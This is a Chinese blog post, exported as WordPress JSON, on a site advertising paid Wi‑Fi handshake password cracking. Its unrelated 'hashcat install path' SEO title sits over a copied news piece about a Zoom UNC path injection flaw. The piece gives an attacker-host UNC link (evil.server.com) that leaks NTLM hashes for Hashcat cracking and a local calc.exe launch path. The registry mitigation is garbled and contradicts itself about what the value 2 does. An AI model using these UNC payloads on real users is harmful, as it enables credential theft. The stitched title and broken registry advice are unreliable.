{"id":3529,"date":"2024-03-25T00:44:35","date_gmt":"2024-03-24T16:44:35","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=3529"},"modified":"2024-03-25T00:44:35","modified_gmt":"2024-03-24T16:44:35","slug":"hashcat%e5%ae%89%e8%a3%85%e5%8c%85%e8%b7%af%e5%be%84%e8%bf%91%e6%9c%9fzoom%e5%ae%894446","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/03\/25\/hashcat%e5%ae%89%e8%a3%85%e5%8c%85%e8%b7%af%e5%be%84%e8%bf%91%e6%9c%9fzoom%e5%ae%894446\/","title":{"rendered":"hashcat\u5b89\u88c5\u5305\u8def\u5f84 \u8fd1\u671fZoom\u5b89\u5168\u95ee\u9898\u9891\u7e41\u8fdb\u5165\u5b89\u5168\u5708\u7684\u89c6\u91ce"},"content":{"rendered":"<div>\n<p>\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 <strong><a href=\"https:\/\/ccwifi.cc\" target=\"_blank\" rel=\"noopener\">\u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n<p>\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd 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decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298665487_2.png\" alt=\"hashcat\u5b89\u88c5\u5305\u8def\u5f84\"><\/p>\n<p>Zoom\u804a\u5929UNC\u6ce8\u5165<\/p>\n<p>\u4ece\u4e0a\u9762\u7684\u804a\u5929\u6d88\u606f\u4e2d\u53ef\u4ee5\u770b\u5230\uff0c\u666e\u901a\u7684URL\u548cUNC\u8def\u5f84\\evil.server.com\/images\/cat.jpg\u90fd\u4f1a\u88ab\u8f6c\u6362\u4e3a\u53ef\u70b9\u51fb\u7684\u94fe\u63a5\u3002\u90a3\u4e48UNC\u8def\u5f84\u8f6c\u6362\u4e3a\u53ef\u70b9\u51fb\u7684\u94fe\u63a5\u4f1a\u5e26\u6765\u4ec0\u4e48\u4e0d\u597d\u7684\u5f71\u54cd\u5462\uff1f\u5982\u679c\u7528\u6237\u70b9\u51fbUNC\u8def\u5f84\u94fe\u63a5\uff0cWindows\u4f1a\u5c1d\u8bd5\u4f7f\u7528SMB\u6587\u4ef6\u5171\u4eab\u534f\u8bae\u8fde\u63a5\u5230\u8fdc\u7a0b\u7ad9\u70b9\u6765\u6253\u5f00\u4e00\u4e2a\u8fdc\u7a0b\u6587\u4ef6\u2014\u2014cat.jpg\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cWindows\u4f1a\u53d1\u9001\u7528\u6237\u7684\u767b\u5f55\u7528\u6237\u540d\u548cNTLM\u5bc6\u7801\u54c8\u5e0c\u503c\uff0c\u901a\u8fc7\u514d\u8d39\u7684\u5de5\u5177Hashcat\u5c31\u53ef\u4ee5\u7834\u89e3NTLM\u5bc6\u7801\u54c8\u5e0c\u503c\u5bf9\u5e94\u7684\u5bc6\u7801\u3002\u5b89\u5168\u7814\u7a76\u4eba\u5458Matthew Hickey (@HackerFantastic)\u6d4b\u8bd5\u4e86Zoom\u5ba2\u6237\u7aef\u7684UNC\u6ce8\u5165\u6f0f\u6d1e\uff0c\u5e76\u786e\u8ba4\u53ef\u4ee5\u83b7\u53d6NTLM\u5bc6\u7801\u54c8\u5e0c\u503c\u3002BleepingComputer\u4e5f\u5728\u672c\u5730\u6d4b\u8bd5\u9a8c\u8bc1\u4e86\u8be5\u7ed3\u679c\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298665487_3.jpg\" alt=\"hashcat\u5b89\u88c5\u5305\u8def\u5f84\"><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298665487_4.png\" alt=\"hashcat\u5b89\u88c5\u5305\u8def\u5f84\"><\/p>\n<p>\u83b7\u53d6NTLM\u5bc6\u7801\u54c8\u5e0c\u503c<\/p>\n<p>\u4f7f\u7528\u50cfHashcat\u8fd9\u6837\u7684\u7a0b\u5e8f\u5728\u6211\u4eec\u65e5\u5e38\u4f7f\u7528\u7684\u8ba1\u7b97\u673a\u4e0a\u7834\u89e3\u54c8\u5e0c\u503c\u53ea\u9700\u898116\u79d2\u949f\u3002\u9664\u4e86\u7a83\u53d6Windows\u51ed\u8bc1\u4e4b\u5916\uff0cHickey\u544a\u8bc9BleepingComputer\uff0cUNC\u6ce8\u5165\u8fd8\u53ef\u4ee5\u5728\u70b9\u51fb\u94fe\u63a5\u65f6\u542f\u52a8\u672c\u5730\u8ba1\u7b97\u673a\u4e0a\u7684\u7a0b\u5e8f\u3002\u4f8b\u5982\uff0c\u70b9\u51fb\\127.0.0.1\\C$\\windows\\system32\\calc.exe\u8fd9\u6837\u7684UNC\u8def\u5f84\u5c31\u53ef\u4ee5\u542f\u52a8\u8ba1\u7b97\u673a\u4e0a\u5b89\u88c5\u7684\u8ba1\u7b97\u5668\u3002\u5e78\u8fd0\u7684\u662f\uff0cWindows\u4f1a\u5f39\u51fa\u7a97\u53e3\u8be2\u95ee\u7528\u6237\u662f\u5426\u8981\u6267\u884c\u7a0b\u5e8f\u3002<\/p>\n<pre class=\"brush:html;toolbar:false\">Computer&nbsp;Configuration&nbsp;-&gt;&nbsp;Windows&nbsp;Settings&nbsp;-&gt;&nbsp;Security&nbsp;Settings&nbsp;-&gt;&nbsp;Local&nbsp;Policies&nbsp;-&gt;&nbsp;Security&nbsp;Options&nbsp;-&gt;&nbsp;Network&nbsp;security:&nbsp;Restrict&nbsp;NTLM:&nbsp;Outgoing&nbsp;NTLM&nbsp;traffic&nbsp;to&nbsp;remote&nbsp;servers<\/pre>\n<p>\u70b9\u51fbUNC\u8def\u5f84\u542f\u52a8\u672c\u5730\u7a0b\u5e8f<\/p>\n<p>\u4e3a\u4e86\u4fee\u590d\u8fd9\u4e2a\u6f0f\u6d1e\uff0cZoom\u9700\u8981\u907f\u514d\u804a\u5929\u7cfb\u7edf\u5c06UNC\u8def\u5f84\u8f6c\u6362\u4e3a\u53ef\u70b9\u51fb\u7684\u8d85\u94fe\u63a5\u3002Hickey\u5728Twitter\u4e0a\u516c\u5f00\u6f0f\u6d1e\u540e\u901a\u77e5\u4e86Zoom\uff0c\u4f46BleepingComputer\u8fde\u7eed\u8054\u7cfb\u4e86Zoom\u5374\u672a\u6536\u5230\u56de\u590d\u3002\u5728Zoom\u53d1\u5e03\u8865\u4e01\u4e4b\u524d\uff0c\u6709\u4e00\u79cd\u65b9\u6cd5\u53ef\u4ee5\u9884\u9632\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u90a3\u5c31\u662f\u901a\u8fc7\u7ec4\u7b56\u7565\u8bbe\u7f6e\u6765\u963b\u6b62UNC\u94fe\u63a5\u88ab\u70b9\u51fb\u540e\u81ea\u52a8\u53d1\u9001NTLM\u51ed\u8bc1\u7ed9\u8fdc\u7a0b\u670d\u52a1\u5668\u3002\u8be5\u7b56\u7565\u4e3a&#8217;Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers&#8217;\u3002\u5728\u7ec4\u7b56\u7565\u7f16\u8f91\u5668\u4e2d\u7684\u8def\u5f84\u4e3a\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298665487_5.png\" alt=\"hashcat\u5b89\u88c5\u5305\u8def\u5f84\"><\/p>\n<pre class=\"brush:html;toolbar:false\">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaMSV1_0]\n\"RestrictSendingNTLMTraffic\"=dword:00000002<\/pre>\n<p>\u5982\u679c\u5c06\u7b56\u7565\u914d\u7f6e\u4e3aDeny all\uff0cWindows\u5c06\u4e0d\u4f1a\u81ea\u52a8\u53d1\u9001NTLM\u51ed\u8bc1\u5230\u8fdc\u7a0b\u670d\u52a1\u5668\u3002<\/p>\n<p>\u7531\u4e8e\u8be5\u7b56\u7565\u662f\u5728\u52a0\u5165\u57df\u7684\u8ba1\u7b97\u673a\u4e0a\u914d\u7f6e\u7684\uff0c\u56e0\u6b64\u5728\u5c1d\u8bd5\u8bbf\u95ee\u5171\u4eab\u5185\u5bb9\u65f6\u53ef\u80fd\u4f1a\u5f15\u53d1\u4e00\u4e9b\u95ee\u9898\u3002\u5982\u679c\u4e0d\u518d\u9700\u8981\u8be5\u7b56\u7565\uff0c\u53ef\u4ee5\u5728Windows\u6ce8\u518c\u8868\u4e2d\u914d\u7f6e\uff0c\u5c06RestrictSendingNTLMTraffic\u6ce8\u518c\u8868HKEY<em>LOCAL<\/em>MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0 key\u8bbe\u7f6e\u4e3a2\u5373\u53ef\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711298665487_6.png\" alt=\"hashcat\u5b89\u88c5\u5305\u8def\u5f84\"><!-- \u6587\u7ae0\u6765\u6e90:https:\/\/www.4hou.com\/index.php\/posts\/v9Om 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